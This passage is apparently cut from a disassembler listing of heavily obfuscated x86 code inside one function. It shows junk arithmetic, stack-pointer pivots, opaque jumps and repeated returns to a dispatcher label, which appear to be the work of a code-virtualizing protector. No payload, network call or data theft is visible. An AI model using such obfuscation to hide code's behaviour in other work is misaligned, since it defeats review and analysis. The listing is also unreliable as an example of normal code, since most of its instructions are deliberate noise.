		mov	[esp+78h+var_78], ecx
		mov	ecx, 28EE3645h
		xor	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 60761684h
		and	ebx, edi
		mov	edi, [esp+78h+var_78]
		add	esp, 4
		push	ecx
		jmp	loc_5A8970
; ---------------------------------------------------------------------------


loc_5A7ABF:				; CODE XREF: sub_58A891+1429Cj
		xchg	edx, [esp+2Eh+var_30+2]
		pop	esp
		mov	[esp+2Ah+var_2C+2], esi
		mov	esi, 424E24DCh
		push	ecx
		jmp	loc_59C90B
; ---------------------------------------------------------------------------


loc_5A7AD1:				; CODE XREF: sub_58A891+1D3A0j
		add	bl, 1
		inc	bl
		sub	bl, 54h
		jle	loc_5ACAD9
		jmp	loc_5AE865
; ---------------------------------------------------------------------------


loc_5A7AE4:				; CODE XREF: sub_58A891+20A27j
		mov	ebp, [esp+2Eh+var_30+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], ecx
		push	[esp+2Eh+var_2C+2]
		jmp	loc_5A6648
; ---------------------------------------------------------------------------


loc_5A7AFC:				; CODE XREF: sub_58A891+26986j
		xchg	edi, [esp+32h+var_34+2]
		pop	esp
		jmp	loc_5ADC47
; ---------------------------------------------------------------------------


loc_5A7B05:				; CODE XREF: sub_58A891+1FD6Ej
		add	ebp, 142F39F2h
		jmp	loc_5ACAD9
; ---------------------------------------------------------------------------


loc_5A7B10:				; CODE XREF: sub_58A891+24855j
		pop	[esp+2Eh+var_30+2]
		pop	esp
		jmp	loc_5AF71F
; ---------------------------------------------------------------------------


loc_5A7B19:				; CODE XREF: sub_58A891+23A89j
					; sub_58A891+2844Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+26h+var_28+2]
		pop	esp
		push	ecx
		push	[esp+26h+var_24+2]
		push	[esp+2Ah+var_2C+2]
		pop	ecx
		push	edx
		push	esp
		jmp	loc_5AA223
; ---------------------------------------------------------------------------


loc_5A7B3B:				; CODE XREF: sub_58A891+1DB28j
		mov	esi, 756751B2h
		xor	ebx, esi
		pop	esi
		push	2F25h
		mov	[esp+32h+var_34+2], ebx
		push	8CF6EFBh
		mov	ebx, [esp+36h+var_38+2]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 54583EF9h
		and	ebp, 166A655Ch
		not	ebp
		jmp	loc_5A622E
; ---------------------------------------------------------------------------


loc_5A7B69:				; CODE XREF: sub_58A891+20305j
		push	edx
		inc	[esp+42h+var_44+2]
		pop	edx
		jmp	loc_5AE550
; ---------------------------------------------------------------------------


loc_5A7B73:				; CODE XREF: sub_58A891+14807j
		mov	eax, [esp+0DAh+var_DA]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0D6h+var_D6]
		pop	esp
		sub	ecx, 675F9ADh
		push	edi
		jmp	loc_5A6D8C
; ---------------------------------------------------------------------------


loc_5A7B96:				; CODE XREF: sub_58A891+14B37j
		push	eax
		mov	ah, 0C5h
		sub	bl, ah
		jmp	loc_5ADC55
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+76h+var_78+2]
		jmp	loc_5A9C5E
; ---------------------------------------------------------------------------


loc_5A7BA9:				; CODE XREF: sub_58A891+172DAj
		push	edx
		jmp	loc_5AF1B4
; ---------------------------------------------------------------------------


loc_5A7BAF:				; CODE XREF: sub_58A891+1D3E0j
		xor	ebx, eax
		jmp	loc_5A9794
; ---------------------------------------------------------------------------


loc_5A7BB6:				; CODE XREF: sub_58A891+18442j
		inc	esi
		jl	loc_5A88E6
		jmp	loc_5A25FA
; ---------------------------------------------------------------------------


loc_5A7BC2:				; CODE XREF: sub_58A891+20A08j
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5ADB3B
; ---------------------------------------------------------------------------


loc_5A7BCF:				; CODE XREF: sub_58A891+11D11j
		push	6777h
		mov	[esp+4Eh+var_50+2], edi
		mov	edi, 0D71163Fh
		mov	ecx, edi
		jmp	loc_5A08A6
; ---------------------------------------------------------------------------


loc_5A7BE3:				; CODE XREF: sub_58A891+1F1F1j
		sub	esp, 4
		mov	[esp+52h+var_54+2], esi
		push	esp
		push	[esp+56h+var_58+2]
		jmp	loc_5AB96B
; ---------------------------------------------------------------------------


loc_5A7BF5:				; CODE XREF: sub_58A891+1949Aj
		add	eax, 0B36F5494h
		sub	edx, eax
		pop	eax
		jmp	loc_5B0FD4
; ---------------------------------------------------------------------------


loc_5A7C02:				; CODE XREF: sub_58A891:loc_5AE04Cj
		neg	eax
		jmp	loc_5A4286
; ---------------------------------------------------------------------------


loc_5A7C09:				; CODE XREF: sub_58A891+13F7Ej
		add	esp, 4
		add	esp, 4
		sub	al, bl
		mov	bx, word ptr [esp+0A6h+var_A6]
		jmp	loc_5AD6F2
; ---------------------------------------------------------------------------


loc_5A7C20:				; CODE XREF: sub_58A891+18242j
					; sub_58A891+1E46Aj
		sub	[esp+0B2h+var_B2], edx
		mov	edx, [esp+0B2h+var_B2]
		jmp	loc_5A1C1C
; ---------------------------------------------------------------------------


loc_5A7C2B:				; CODE XREF: sub_58A891+27811j
		jo	loc_5AD0FD
		jmp	loc_5A7AD1
; ---------------------------------------------------------------------------


loc_5A7C36:				; CODE XREF: sub_58A891+256BEj
		jnp	loc_5A7EC6
		jmp	loc_5AFD25
; ---------------------------------------------------------------------------


loc_5A7C41:				; CODE XREF: sub_58A891+21ACDj
		mov	[esp+0B2h+var_B2], ecx
		push	7
		mov	[esp+0B6h+var_B6], eax
		mov	eax, 7004D9Ch
		sub	eax, 0A6203A07h
		jmp	loc_59D2D6
; ---------------------------------------------------------------------------


loc_5A7C5B:				; CODE XREF: sub_58A891+1C98Ej
		add	esp, 4
		add	edi, 1D4F2273h
		not	edi
		jmp	loc_5A3743
; ---------------------------------------------------------------------------


loc_5A7C6B:				; CODE XREF: sub_58A891+1802Dj
		push	eax
		mov	eax, 0DDB3193Ah
		jmp	loc_5A7BAF
; ---------------------------------------------------------------------------


loc_5A7C76:				; CODE XREF: sub_58A891+24FD6j
		add	edx, ecx
		mov	ecx, [esp+56h+var_58+2]
		jmp	loc_5B08C3
; ---------------------------------------------------------------------------


loc_5A7C80:				; CODE XREF: sub_58A891+2475Cj
		xor	eax, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		mov	ax, word ptr [esp+56h+var_58+2]
		jmp	loc_5A7501
; ---------------------------------------------------------------------------


loc_5A7C8F:				; CODE XREF: sub_58A891+255A1j
		pop	ecx
		sub	al, bh
		pop	ebx
		add	al, cl
		push	5A6h
		mov	[esp+52h+var_54+2], edx
		mov	dh, 4Bh
		add	al, dh
		pop	edx
		pop	ecx
		xor	al, dh
		pop	edx
		jmp	loc_5A1A10
; ---------------------------------------------------------------------------


loc_5A7CAB:				; CODE XREF: sub_58A891+27B89j
		mov	eax, 44E03EF0h
		neg	eax
		jmp	loc_5A3C87
; ---------------------------------------------------------------------------


loc_5A7CB7:				; CODE XREF: sub_58A891+194B2j
		push	small 0E05h
		mov	word ptr [esp+0BAh+var_BA], cx
		jmp	loc_5A4507
; ---------------------------------------------------------------------------


loc_5A7CC4:				; CODE XREF: sub_58A891+1433Cj
		xor	ecx, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		push	ebx
		sub	esp, 4
		mov	[esp+96h+var_98+2], eax
		push	ecx
		push	ebx
		sub	esp, 4
		mov	[esp+0A2h+var_A2], eax
		mov	al, dl
		jmp	loc_5A57CA
; ---------------------------------------------------------------------------


loc_5A7CE3:				; CODE XREF: sub_58A891+21975j
		mov	bl, ah
		mov	eax, [esp+0A2h+var_A2]
		jmp	loc_5B1357
; ---------------------------------------------------------------------------


loc_5A7CED:				; CODE XREF: sub_58A891+2119Fj
		mov	ecx, [esp+0A2h+var_A2]
		jmp	loc_5B2C7F
; ---------------------------------------------------------------------------


loc_5A7CF5:				; CODE XREF: sub_58A891+26C96j
		add	esi, eax
		push	58D5h
		jmp	loc_5AF10E
; ---------------------------------------------------------------------------


loc_5A7D01:				; CODE XREF: sub_58A891+25F58j
		sub	ecx, 4
		push	ecx
		push	[esp+0AAh+var_A6]
		pop	ecx
		pop	[esp+0AAh+var_AA]
		pop	esp
		mov	[esp+0A2h+var_A2], eax
		mov	eax, 4
		sub	esi, 5E9D38C3h
		add	esi, eax
		add	esi, 5E9D38C3h
		pop	eax
		sub	esp, 4
		mov	[esp+0A2h+var_A2], eax
		jmp	loc_5AA274
; ---------------------------------------------------------------------------


loc_5A7D33:				; CODE XREF: sub_58A891+1EEB1j
					; sub_58A891+25F3Cj
		pop	[esp+0A2h+var_A2]
		pop	esp
		jmp	loc_5A83D1
; ---------------------------------------------------------------------------


loc_5A7D3C:				; CODE XREF: sub_58A891+17BE0j
		mov	[esp+0CEh+var_CE], ebx
		mov	ebx, 75860485h
		jmp	loc_59E5DD
; ---------------------------------------------------------------------------


loc_5A7D49:				; CODE XREF: sub_58A891+19072j
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+0Ah+var_C+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp+0Eh+var_C+2]
		jmp	loc_59D521
; ---------------------------------------------------------------------------


loc_5A7D69:				; CODE XREF: sub_58A891+226E8j
		pop	edi
		add	edi, 7F79798Bh
		jz	loc_5A15A1
		jmp	loc_5AE5D6
; ---------------------------------------------------------------------------


loc_5A7D7B:				; CODE XREF: sub_58A891+1E944j
					; sub_58A891+1F8CDj ...
		pop	edi
		jmp	loc_5B2F79
; ---------------------------------------------------------------------------


loc_5A7D81:				; CODE XREF: sub_58A891+15337j
		sub	esp, 4
		mov	[esp+0AAh+var_AA], edi
		jmp	loc_5A5A35
; ---------------------------------------------------------------------------


loc_5A7D8C:				; CODE XREF: sub_58A891+28226j
		mov	esi, 48DE556Dh
		jmp	loc_59D81A
; ---------------------------------------------------------------------------


loc_5A7D96:				; CODE XREF: sub_58A891+116F1j
		jnz	loc_5AFB80
		shl	esi, 8
		jmp	loc_59FA9E
; ---------------------------------------------------------------------------
		xor	ebx, eax
		push	ebx


loc_5A7DA7:				; CODE XREF: sub_58A891+25279j
		pop	eax
		xchg	edx, [esp+3Eh+var_40+2]
		pop	esp
		push	eax
		mov	al, 0DDh
		xor	bl, al
		jmp	loc_5A8AFC
; ---------------------------------------------------------------------------


loc_5A7DB6:				; CODE XREF: sub_58A891+22842j
		add	esp, 4
		xor	esi, 358B7856h
		jmp	loc_5A7330
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+38h+var_38], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7DD3:				; CODE XREF: sub_58A891+1DCEAj
		mov	[esp+3Ch+var_3C], edx
		push	65A3415Dh
		mov	edx, [esp+40h+var_40]
		add	esp, 4
		dec	edx
		push	eax
		push	498Eh
		mov	[esp+44h+var_44], ecx
		mov	ecx, 567A34F6h
		jmp	loc_5AB7B7
; ---------------------------------------------------------------------------


loc_5A7DF5:				; CODE XREF: sub_58A891+1C854j
		pop	ebx
		add	ebp, 1F0E68E6h
		sub	ebp, esi
		push	ecx
		mov	ecx, 67EA194Fh
		jmp	loc_5AEB52
; ---------------------------------------------------------------------------


loc_5A7E09:				; CODE XREF: sub_58A891+25872j
		pop	edx
		sub	ebx, 70AD5D3Fh
		sub	ebx, eax
		add	ebx, 70AD5D3Fh
		sub	ebx, 7B60419Fh
		sub	esp, 4
		mov	[esp+32h+var_34+2], esi
		mov	esi, 67562E76h
		sub	esi, 2B5B6E71h
		not	esi
		add	esi, 1
		add	esi, 878A313Eh
		add	ebx, esi
		mov	esi, [esp+32h+var_34+2]
		add	esp, 4
		add	ebx, 2CCC7851h
		pop	dword ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7E55:				; CODE XREF: sub_58A891+1F08Fj
		sub	edi, 1DC13008h
		xchg	edi, esi
		pop	edi
		sub	esp, 4
		jmp	loc_5B10B4
; ---------------------------------------------------------------------------


loc_5A7E66:				; CODE XREF: sub_58A891+126D8j
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 33102B6Eh
		jmp	loc_5AF946
; ---------------------------------------------------------------------------


loc_5A7E78:				; CODE XREF: sub_58A891+276AEj
		xor	cl, al
		pop	eax
		shl	cl, 4
		shl	cl, 2
		jmp	loc_5AAD91
; ---------------------------------------------------------------------------


loc_5A7E86:				; CODE XREF: sub_58A891+276E1j
		sub	ebp, edx
		jmp	loc_5AE051
; ---------------------------------------------------------------------------
		push	[esp+0A2h+var_A2]
		jmp	loc_5A9A78
; ---------------------------------------------------------------------------


loc_5A7E95:				; CODE XREF: sub_58A891+1A62Fj
		add	esp, 4
		push	27B4h
		mov	[esp+0B4h+var_B6+2], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_59DFFE
; ---------------------------------------------------------------------------


loc_5A7EB7:				; CODE XREF: sub_58A891+25AA1j
		pop	ebx
		add	ebp, 0D8DD6247h
		add	eax, ebp
		pop	ebp
		jmp	loc_5A55BD
; ---------------------------------------------------------------------------


loc_5A7EC6:				; CODE XREF: sub_58A891+19664j
					; sub_58A891:loc_5A7C36j
		add	edi, 0C4863204h
		jmp	loc_5AD012
; ---------------------------------------------------------------------------


loc_5A7ED1:				; CODE XREF: sub_58A891+17332j
					; sub_58A891+1CA9Aj
		pop	esp
		jmp	loc_59D37E
; ---------------------------------------------------------------------------


loc_5A7ED7:				; CODE XREF: sub_58A891+26C83j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7EDC:				; CODE XREF: sub_58A891+23B7Fj
		sub	bl, al
		push	small 4542h
		mov	word ptr [esp+30h+var_30], ax
		push	ebx
		mov	bl, 0BDh
		neg	bl
		jb	loc_5B1C9C
		inc	bl
		jg	loc_59D357
		mov	bl, 2Ch
		mov	bl, cl


loc_5A7EFD:				; CODE XREF: sub_58A891+1A1E8j
		sub	ecx, 5EBC6178h
		jmp	loc_5A77D9
; ---------------------------------------------------------------------------


loc_5A7F08:				; CODE XREF: sub_58A891+1B6B4j
		add	ebp, 27E65474h
		pop	esi
		sub	esp, 4
		mov	[esp+5Ch+var_5C], ebp
		push	[esp+5Ch+var_58]
		jmp	loc_5AC83E
; ---------------------------------------------------------------------------


loc_5A7F1E:				; CODE XREF: sub_58A891+191C2j
					; sub_58A891+28729j
		mov	ecx, 35212D3Ch
		sub	esi, ecx
		jmp	loc_5A9BAC
; ---------------------------------------------------------------------------


loc_5A7F2A:				; CODE XREF: sub_58A891+15DB2j
					; sub_58A891+1B09Dj
		mov	ecx, esi
		pop	esi
		jmp	loc_5B071D
; ---------------------------------------------------------------------------


loc_5A7F32:				; CODE XREF: sub_58A891+1685Ej
		jg	loc_5A5ECF
		xor	edi, 0F21C181Ch
		jmp	loc_5A920E
; ---------------------------------------------------------------------------


loc_5A7F43:				; CODE XREF: sub_58A891+1CEC2j
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		dec	ebx
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		not	esi
		push	0C6Eh
		mov	[esp+24h+var_24], ebx
		push	4625h
		mov	[esp+28h+var_28], esi
		mov	ebx, [esp+28h+var_28]
		add	esp, 4
		push	[esp+24h+var_24]
		jmp	loc_5A0A59
; ---------------------------------------------------------------------------


loc_5A7F70:				; CODE XREF: sub_58A891+266DDj
		xor	[esp+28h+var_28], ebx
		jmp	loc_5A32DA
; ---------------------------------------------------------------------------


loc_5A7F78:				; CODE XREF: sub_58A891+12748j
		push	edi
		jmp	loc_5A99E9
; ---------------------------------------------------------------------------
		push	[esp+0A6h+var_A6]
		pop	ecx
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ebp
		push	edx
		mov	edx, 4F83764Fh
		and	edx, 78343F62h
		ja	loc_5A512A
		and	edx, 7D646B35h
		jmp	loc_5A32B5
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	ebp
		sub	esp, 4
		mov	[esp+0BAh+var_BA], esp
		add	[esp+0BAh+var_BA], 4
		pop	ebp
		push	ecx
		push	37DA2727h
		pop	ecx
		push	ebx
		jmp	loc_5AB151
; ---------------------------------------------------------------------------


loc_5A7FCB:				; CODE XREF: sub_58A891+133A8j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+2Eh+var_30+2]
		pop	esp
		push	47ECh
		mov	[esp+2Eh+var_30+2], ebp
		sub	esp, 4
		mov	[esp+32h+var_34+2], esp
		push	ecx
		jmp	loc_5B2836
; ---------------------------------------------------------------------------


loc_5A7FF2:				; CODE XREF: sub_58A891+16C9Bj
		shr	edi, 3
		sub	edi, 9940F581h
		add	eax, edi
		jmp	loc_59C7D6
; ---------------------------------------------------------------------------


loc_5A8002:				; CODE XREF: sub_58A891+1C536j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+5Eh+var_60+2]
		jmp	loc_5B0433
; ---------------------------------------------------------------------------


loc_5A8017:				; CODE XREF: sub_58A891+213A4j
					; sub_58A891+25D29j
		mov	eax, 7D153D78h
		or	eax, 4C1E359Fh
		dec	eax
		jmp	loc_5A9558
; ---------------------------------------------------------------------------


loc_5A8027:				; CODE XREF: sub_58A891+1DC3Aj
		mov	ebp, 64DB0C64h
		mov	eax, ebp
		pop	ebp
		add	[esp+5Ah+var_50+2], eax
		push	[esp+5Ah+var_5C+2]
		pop	eax
		push	edx
		jmp	loc_5AD4A2
; ---------------------------------------------------------------------------


loc_5A803D:				; CODE XREF: sub_58A891+18118j
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8043:				; CODE XREF: sub_58A891+244DFj
		add	ecx, edi
		push	edx
		mov	edx, 33B95C86h
		shr	edx, 8
		shl	edx, 3
		xor	edx, 52F467Bh
		neg	edx
		shr	edx, 5
		xor	edx, 1B065A21h
		sub	ecx, edx
		pop	edx
		add	ecx, 22F4322Ch
		add	ecx, 27146036h
		mov	edi, [esp+52h+var_54+2]
		add	esp, 4
		push	56Bh
		mov	[esp+52h+var_54+2], eax
		push	ebp
		jmp	loc_5AA6CE
; ---------------------------------------------------------------------------


loc_5A8085:				; CODE XREF: sub_58A891+26560j
		xchg	esi, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		add	esp, 4
		jmp	loc_5A8B61
; ---------------------------------------------------------------------------


loc_5A8093:				; CODE XREF: sub_58A891+1A72Cj
		add	esp, 4
		jmp	loc_5ADBCC
; ---------------------------------------------------------------------------


loc_5A809B:				; CODE XREF: sub_58A891+16F28j
		mov	[esp+0AEh+var_AE], edx
		jmp	loc_5AFD85
; ---------------------------------------------------------------------------


loc_5A80A3:				; CODE XREF: sub_58A891+17367j
		neg	edi
		jmp	loc_5AF0C3
; ---------------------------------------------------------------------------


loc_5A80AA:				; CODE XREF: sub_58A891+1BC69j
		push	ebp
		jmp	loc_59C936
; ---------------------------------------------------------------------------


loc_5A80B0:				; CODE XREF: sub_58A891+2135Bj
		mov	esp, [esp+0B2h+var_B2]
		jmp	loc_5A56D0
; ---------------------------------------------------------------------------


loc_5A80B8:				; CODE XREF: sub_58A891+1E097j
		mov	eax, esp
		jmp	loc_5AB687
; ---------------------------------------------------------------------------


loc_5A80BF:				; CODE XREF: sub_58A891+20F0Dj
		push	edi
		push	[esp+0B6h+var_B2]
		pop	edi
		pop	[esp+0B6h+var_B6]
		pop	esp
		mov	[esp+0AEh+var_AE], ecx
		mov	ch, al
		mov	dh, ch
		pop	ecx
		mov	bl, dh
		mov	edx, [esp+0AAh+var_AA]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0AEh+var_AE]
		jmp	loc_5A8B66
; ---------------------------------------------------------------------------


loc_5A80EA:				; CODE XREF: sub_58A891+27E2Cj
		mov	[esp+0AEh+var_AE], ebp
		jmp	loc_5AF63A
; ---------------------------------------------------------------------------


loc_5A80F2:				; CODE XREF: sub_58A891+132DBj
					; sub_58A891+17447j
		mov	ebx, 201F048Bh
		sub	ebx, 57670644h
		not	ebx
		add	ebx, 11B028DBh
		add	ecx, ebx
		mov	ebx, [esp+1Eh+var_20+2]
		add	esp, 4
		add	ecx, eax
		push	edx
		mov	edx, 48F82A93h
		sub	ecx, edx
		pop	edx
		push	edx
		mov	edx, 7D453B1Eh
		sub	edx, 6D7A7DBCh
		sub	edx, 0FE0E5A8Eh
		jmp	loc_5B2BE5
; ---------------------------------------------------------------------------


loc_5A8132:				; CODE XREF: sub_58A891+1AE24j
		push	esi
		push	esp
		pop	esi
		jmp	loc_59E54B
; ---------------------------------------------------------------------------


loc_5A813A:				; CODE XREF: sub_58A891+1A164j
		mov	ecx, 2EB44B93h
		jmp	loc_59CE67
; ---------------------------------------------------------------------------


loc_5A8144:				; CODE XREF: sub_58A891+153ABj
		push	small 6C97h
		jmp	loc_5A030D
; ---------------------------------------------------------------------------


loc_5A814D:				; CODE XREF: sub_58A891+14B7Cj
		add	ecx, edi
		pop	edi
		jmp	loc_59D327
; ---------------------------------------------------------------------------


loc_5A8155:				; CODE XREF: sub_58A891+1A799j
		and	ebx, 9B5384Ch
		jo	loc_5A12B0
		add	ebx, 255D387Eh
		sub	ebx, 1F73C453h
		jmp	loc_5AE415
; ---------------------------------------------------------------------------


loc_5A8172:				; CODE XREF: sub_58A891+1CE50j
		xchg	eax, [esp+0F2h+var_F4+2]
		jmp	loc_5AC4DD
; ---------------------------------------------------------------------------


loc_5A817A:				; CODE XREF: sub_58A891:loc_5A4D46j
		shl	bl, 8
		jp	loc_5AD9FA
		jmp	loc_59CE6D
; ---------------------------------------------------------------------------
		pop	esp
		mov	bh, 0FFh
		pop	eax


loc_5A818D:				; CODE XREF: sub_58A891+132E6j
					; sub_58A891+19A00j
		push	esi
		jmp	loc_5A5453
; ---------------------------------------------------------------------------


loc_5A8193:				; CODE XREF: sub_58A891+26908j
		mov	ecx, 55661E90h
		sub	ebp, ecx
		pop	ecx
		mov	ebx, [esp+0]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+9Eh+var_9E]
		xor	[esp+9Eh+var_9E], eax
		xor	eax, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		shr	ebp, 4
		sub	ebp, 3EC05D1h
		and	eax, ebp
		mov	ebp, [esp+9Eh+var_9E]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0A2h+var_A2]
		pop	esp
		jmp	loc_59C779
; ---------------------------------------------------------------------------


loc_5A81D9:				; CODE XREF: sub_58A891+1B042j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_5B2153
; ---------------------------------------------------------------------------


loc_5A81E7:				; CODE XREF: sub_58A891+1A053j
		sub	esp, 4
		mov	[esp+46h+var_48+2], edi
		push	[esp+46h+var_44+2]
		pop	edi
		pop	[esp+46h+var_48+2]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8202:				; CODE XREF: sub_58A891+26261j
		sub	[esp+42h+var_40+2], eax
		add	[esp+42h+var_40+2], 4AFF6277h
		mov	eax, [esp+42h+var_44+2]
		add	esp, 4
		add	[esp+3Eh+var_40+2], eax
		add	[esp+3Eh+var_40+2], 196367EDh
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8226:				; CODE XREF: sub_58A891+27E15j
		push	edx
		mov	edx, 6046681h
		add	esi, edx
		jmp	loc_5ADF03
; ---------------------------------------------------------------------------


loc_5A8233:				; CODE XREF: sub_58A891+1F627j
		pop	edi
		sub	eax, 1
		add	eax, 702A49B2h
		sub	eax, 0C4ECAFAh
		add	edi, eax
		jmp	loc_5AB10D
; ---------------------------------------------------------------------------


loc_5A824A:				; CODE XREF: sub_58A891+1CAC0j
		push	ecx
		jmp	loc_5A1EA8
; ---------------------------------------------------------------------------


loc_5A8250:				; CODE XREF: sub_58A891+1E24Bj
		dec	eax
		jle	loc_5AF17B
		xor	eax, 2C02B8Ah
		mov	esi, eax
		mov	eax, [esp+7Ah+var_7C+2]
		add	esp, 4
		sub	esi, 66C92781h
		sub	eax, 2E95102h
		add	eax, esi
		jmp	loc_5AC5F9
; ---------------------------------------------------------------------------


loc_5A8279:				; CODE XREF: sub_58A891+27ED5j
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], ebx
		push	edi
		mov	edi, 0AA548F4h
		sub	edi, 0E428D6ECh
		sub	edi, 7C764399h
		add	edi, 88171E3h
		jbe	loc_59DE84
		add	edi, 638A34DCh
		jnb	loc_5AFB78
		jmp	loc_5ADE44
; ---------------------------------------------------------------------------


loc_5A82AE:				; CODE XREF: sub_58A891+1E45Ej
		and	ebx, 21FE2A03h
		jz	loc_5A3C48
		push	esi
		mov	esi, 221737B3h
		jmp	loc_5A4E64
; ---------------------------------------------------------------------------


loc_5A82C5:				; CODE XREF: sub_58A891+118DCj
		mov	[esp+1Eh+var_20+2], ebx
		mov	ebx, 3FCh
		push	ebp
		mov	ebp, 930267Ch
		and	ebp, 58306868h
		push	0
		sub	[esp+26h+var_28+2], ebp
		mov	ebp, [esp+26h+var_28+2]
		jmp	loc_5AF67D
; ---------------------------------------------------------------------------


loc_5A82E9:				; CODE XREF: sub_58A891+1B3F6j
		push	0
		sub	[esp+0AAh+var_AA], edx
		pop	edx
		jmp	loc_5AEDDE
; ---------------------------------------------------------------------------


loc_5A82F7:				; CODE XREF: sub_58A891+1974Bj
		mov	bh, 8
		add	bh, 9Dh
		mov	ah, bh
		pop	ebx
		push	ebx
		mov	bh, 0F1h
		push	bx
		mov	bl, 0BFh
		add	ah, bl
		jmp	loc_5B0531
; ---------------------------------------------------------------------------


loc_5A830D:				; CODE XREF: sub_58A891+1FDDCj
		push	edx
		mov	edx, 44BB6E5Eh
		push	ebp
		jmp	loc_59DEA0
; ---------------------------------------------------------------------------


loc_5A8319:				; CODE XREF: sub_58A891+166EDj
		push	ebx
		mov	ebx, 4DF21009h
		or	ebx, 3C5C14A4h
		or	ebx, 22D01635h
		shl	ebx, 8
		dec	ebx
		xor	ebx, 8B869634h
		or	ebp, ebx
		pop	ebx
		push	esi
		jmp	loc_5AA5CE
; ---------------------------------------------------------------------------


loc_5A833E:				; CODE XREF: sub_58A891+23336j
		mov	[esp+0AAh+var_AA], esp
		jmp	loc_5AB1F8
; ---------------------------------------------------------------------------


loc_5A8346:				; CODE XREF: sub_58A891+18620j
		push	[esp+8Ah+var_8C+2]
		pop	ecx
		push	781h
		mov	[esp+8Eh+var_90+2], edx
		jmp	loc_5B0D36
; ---------------------------------------------------------------------------


loc_5A8357:				; CODE XREF: sub_58A891+27610j
		mov	[esp+8Eh+var_90+2], ecx
		push	edx
		jmp	loc_5A7172
; ---------------------------------------------------------------------------


loc_5A8360:				; CODE XREF: sub_58A891+1DEF6j
		push	esi
		mov	esi, 37570527h
		add	[esp+96h+var_94+2], esi
		pop	esi
		push	[esp+92h+var_94+2]
		pop	edx
		add	esp, 4
		sub	edx, 37570527h
		jmp	loc_5A85FE
; ---------------------------------------------------------------------------


loc_5A8380:				; CODE XREF: sub_58A891+190A1j
		add	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_5A2399
; ---------------------------------------------------------------------------


loc_5A8389:				; CODE XREF: sub_58A891+24972j
		sub	ch, 0E8h
		sub	bh, 62h
		push	ecx
		jmp	loc_5ADACE
; ---------------------------------------------------------------------------


loc_5A8395:				; CODE XREF: sub_58A891+23942j
		pop	ecx
		push	ecx
		sub	[esp+6+var_8+2], 1E007310h
		jmp	loc_5AC5A7
; ---------------------------------------------------------------------------


loc_5A83A3:				; CODE XREF: sub_58A891+24101j
		mov	ecx, ebp
		pop	ebp
		jmp	loc_59FACF
; ---------------------------------------------------------------------------


loc_5A83AB:				; CODE XREF: sub_58A891+1E342j
		pop	ebx
		add	esp, 4
		mov	ebx, [esp+0]
		add	esp, 4
		push	esi
		jmp	loc_5A7B3B
; ---------------------------------------------------------------------------


loc_5A83BE:				; CODE XREF: sub_58A891:loc_59E700j
					; sub_58A891+1A066j ...
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		push	ebx
		jmp	loc_5A01C1
; ---------------------------------------------------------------------------


loc_5A83CA:				; CODE XREF: sub_58A891+1FF8Aj
		mov	dl, 16h
		jmp	loc_5A9448
; ---------------------------------------------------------------------------


loc_5A83D1:				; CODE XREF: sub_58A891+1D4A6j
		or	[esp+0], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A83DA:				; CODE XREF: sub_58A891+23BDDj
		mov	ebx, [esp+9Eh+var_9E]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+0A6h+var_A6], ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5AA975
; ---------------------------------------------------------------------------


loc_5A83F2:				; CODE XREF: sub_58A891:loc_5A4935j
		push	edi
		jmp	loc_5A8FEC
; ---------------------------------------------------------------------------


loc_5A83F8:				; CODE XREF: sub_58A891+23F1Bj
		push	eax
		mov	eax, 240463BFh
		jmp	loc_5A60A9
; ---------------------------------------------------------------------------


loc_5A8403:				; CODE XREF: sub_58A891+25AA9j
		push	[esp+4Eh+var_50+2]
		jmp	loc_59EB39
; ---------------------------------------------------------------------------


loc_5A840B:				; CODE XREF: sub_58A891+201D8j
		mov	edx, 453B0FBFh
		push	ebx
		jmp	loc_5B25AF
; ---------------------------------------------------------------------------


loc_5A8416:				; CODE XREF: sub_58A891+16889j
		mov	ecx, 60602DFEh
		jmp	loc_5A12C1
